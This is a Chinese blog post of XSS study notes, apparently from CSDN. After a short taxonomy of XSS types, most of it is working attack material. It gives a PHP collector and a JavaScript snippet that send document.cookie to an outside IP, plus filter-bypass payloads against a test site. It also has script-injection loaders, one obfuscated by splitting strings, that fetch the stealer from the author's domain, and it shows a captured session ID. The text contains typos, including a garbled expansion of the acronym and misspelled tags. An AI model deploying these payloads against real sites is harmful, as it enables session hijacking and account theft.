XSS漏洞学习

什么是XSS漏洞

XSS漏洞,跨站脚本漏洞(Crscading Style Scheets,CSS),允许恶意用户将代码植入到Web网站,供其他用户访问,其他用户访问到有恶意代码的网页就产生了XSS攻击。

危害

盗取账户,控制企业数据,盗窃资料,非法转账,强制发送电子邮件,网站挂马

分类

反射型

非持久化,需要欺骗用户自己点击链接出发XSS代码

存储型

持久化,恶意代码存储在服务器中,例如在个人信息发表或文章发表等地方加入代码,没有过滤或者过滤不严就会导致代码进入存储到服务器中,用户访问时就会触发。

dom型

DOM,Domcument Object Model,一个平台和语言都中立的接口,可以使用程序和脚本能够动态的访问和更新文档的内容、结构已经样式。

DOM型XSS本质时一种特护类型的反射型XSS,时基于DOM文档对象的一种漏洞,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。使用js脚本对文档的对象进行编辑从而修改页面内容

document.referer属性

window.name属性

location属性

innerHTML属性

document.write属性

一般的都会进行url编码,浏览器也带有XSS过滤器

XSS利用

xss.php

<?php
@ini_set('display_errors',1);
$str = $_GET['joke'];
$filePath = "joke.php";
$handler = fopen($filePath,"a");
fwrite($handler,$str);
fclose($handler);
?>

xss.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.0.133/xss.php?joke='+encodeURIComponent(document.cookie);

XSS绕过

大小写绕过

http://target_sys.com/xss/xss04.php?name=<Script>alert(1)</Script>

属性多余

http://target_sys.com/xss/xss05.php?name=<script<script>>alert(1)</sc</script>ript>

转换标签

http://target_sys.com/xss/xss06.php?name=<img onerror=alert(1) src=a>

禁用alert

http://target_sys.com/xss/xss07.php?name=<img onerror="confirm(1)" src=a>

js输出

http://target_sys.com/xss/xss08.php?name=moon";alert(1);//

js过滤输出

http://target_sys.com/xss/xss09.php?name=moon';alert($a);//

dom输出

hash属性是一个可读可写的字符串,是URL的锚部分(从#开始的部分)

location.hash.substring(1):从#开始截取之后的字符

http://target_sys.com/xss/xss10.php?name=moon#<script>alert(1)</script>

仅限IE浏览器(不进行url编码)

urlcss

http://target_sys.com/xss/xss11.php/%22%20onsubmit=%22alert(1)

过滤特殊字符

php开启gpc后单引号,双引号,NULL字符都会加上反斜线//

过滤大于小于号

http://target_sys.com/xss/xss12.php/' onmouseover = 'javascript:alert(1);'

加载payload

<script src="http://www.rickc131.com/xss.js"></script>

成功后可以在joke.php看到

PHPSESSID=fg00p1uutd9r8n5snhsl6utj55

使用XSS平台可直接使用成熟的代码

标准script加载

<script src="http://www.rickc131.com/xss.js"></script>

<script src="//www.rickc131.com/xss.js"></script>

img

<img src=x onerror=createElement('script');body.appendChild(s);s.src='http://www.rickc131.com/xss.js';>

字符拼接

<script>z='dcoument.'</script>
<script>z=z+'write'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'rickc131'</script>
<script>z=z+'.com/x'</script>
<script>z=z+'ss.js><sc'</script>
<script>z=z+'ript'</script>
<script>z=z+'eval(z)'</script>

jquery加载

<scritp src="http://code.jquery.com/jquery-1.9.1.min.js"></scritp>
<script>$.getscript("//www.rickc131.com/xss.js")</script>  
XSS(Cross-Site Scripting)漏洞学习实习是一段非常有价值的体验。首先,理解XSS的基本原理是关键,它涉及到如何攻击者利用网站服务的缺陷,将恶意脚本插入到用户的浏览器中,对用户进行数据劫持或操纵。实习期间,你可能深入学习了以下内容: 1. **注入类型**:包括反射型、存储型和DOM型XSS,理解每种类型的触发条件和危害。 2. **防御措施**:学习了如何防止XSS攻击,如输入验证、转义输出、使用Content Security Policy等。 3. **防护机制**:掌握了HTTPOnly Cookie、SameSite属性等现代浏览器的安全特性。 4. **检测与修复**:学习了如何使用工具(如OWASP ZAP、Burp Suite)检测XSS漏洞,并了解如何在代码层面进行修复。 5. **编码实践**:通过实际项目经验,应用这些知识在代码审查和安全测试中,提高了漏洞识别能力。 实习反思方面,可能会考虑以下几点: - **理论与实践的结合**:是否能将理论知识灵活运用到实际场景中,找出并修复漏洞? - **持续学习**:是否意识到Web安全领域的快速发展,需要不断跟进新的攻击手段和防御策略? - **团队协作**:在团队环境中,如何有效地与其他开发人员沟通,共同提升应用程序的安全性? - **安全意识**:是否强化了对用户隐私和数据保护的重视,认识到开发过程中的每个决策都可能影响安全性?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RICKC131

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值